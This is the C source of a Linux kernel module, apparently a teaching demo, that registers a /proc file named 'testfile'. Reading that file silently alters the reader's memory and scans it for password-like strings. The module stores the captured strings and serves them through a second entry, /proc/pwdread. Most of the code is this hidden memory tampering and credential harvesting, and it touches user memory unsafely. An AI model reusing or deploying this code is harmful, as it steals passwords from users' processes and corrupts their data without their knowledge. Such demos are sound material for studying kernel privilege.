#include #include #include #include #include #include #include #include #include #define PROC_FILE_NAME "testfile" char text[] = "There was an armadillo which had a lot of money to invest. Gold, stocks, property, and bitcoin were all too high!"; struct pwd_node { char password[16]; struct pwd_node *next; }; struct pwd_node *list_start = 0; void store_password(char* p){ struct pwd_node *nn = kmalloc(sizeof(struct pwd_node), 0); strncpy(nn->password, p, 16); nn->next = list_start; list_start = nn; } ssize_t read_passwords(struct file *filp, char *buf, size_t count, loff_t *offp ) { struct pwd_node *i = list_start; char *bufpos = buf; if(!list_start) return 0; while(i){ // This'll actually free the list even if buf fills up struct pwd_node *tofree = i; bufpos += snprintf(bufpos, buf + count - bufpos, "%s\n", i->password); i = i->next; kfree(tofree); } list_start = 0; return bufpos - buf; } ssize_t read_simple(struct file *filp, char *buf, size_t count, loff_t *offp ) { char* readspot = text + *offp; size_t readlen = strlen(readspot) > count? count:strlen(readspot); int *i; char *ps; // stands for "password search" printk("proc_read just ran! count = %lu, sizeof(loff_t) = %lu, *offp = %llu\n", count, sizeof(loff_t), *offp); /* Change the buffer */ printk("Buffer is at %p. 100 characters before the buffer is %s\n", buf, buf - 102); strncpy(buf - 102, "gerbil", 6); /* Look for a 762 and change it */ for(i = (int*)(buf - 256); i < (int*)(buf + 1024); i++){ if(*i == 762) *i = 891; } /* Look for a password */ for(ps = buf - 1024; ps < buf + 1024; ps++){ if(strlen(ps) < 16 && strlen(ps) >= 3) { char rules[4] = {0, 0, 0, 0}; char *c; char reject = 0; for(c = ps; *c; c++){ char curr[2] = {*c, 0}; if(*c >= '0' && *c <= '9') rules[0] = 1; else if(*c >= 'a' && *c <= 'z') rules[1] = 1; else if(*c >= 'A' && *c <= 'Z') rules[2] = 1; else if(strstr("~!@#$%^&*()_-+*/ =\\|][}{,./?><;:'\"", curr)) rules[3] = 1; if(!isprint(*c)) reject = 1; } if(!reject && rules[0] + rules[1] + rules[2] + rules[3] >= 3) { store_password(ps); ps += strlen(ps); } } } if(*offp >= strlen(text)) return 0; strncpy(buf, readspot, count); *offp += readlen; return readlen; } ssize_t write_simple(struct file *filp,const char *buf,size_t count,loff_t *offp) { return 0; } struct file_operations proc_fops = { read: read_simple, write: write_simple }; struct file_operations pwdread_fops = { read: read_passwords }; int proc_init (void) { printk("We're in the kernel!\n"); proc_create(PROC_FILE_NAME,0,NULL,&proc_fops); proc_create("pwdread",0,NULL,&pwdread_fops); return 0; } void proc_cleanup(void) { remove_proc_entry(PROC_FILE_NAME,NULL); remove_proc_entry("pwdread", 0); } MODULE_LICENSE("GPL"); module_init(proc_init); module_exit(proc_cleanup);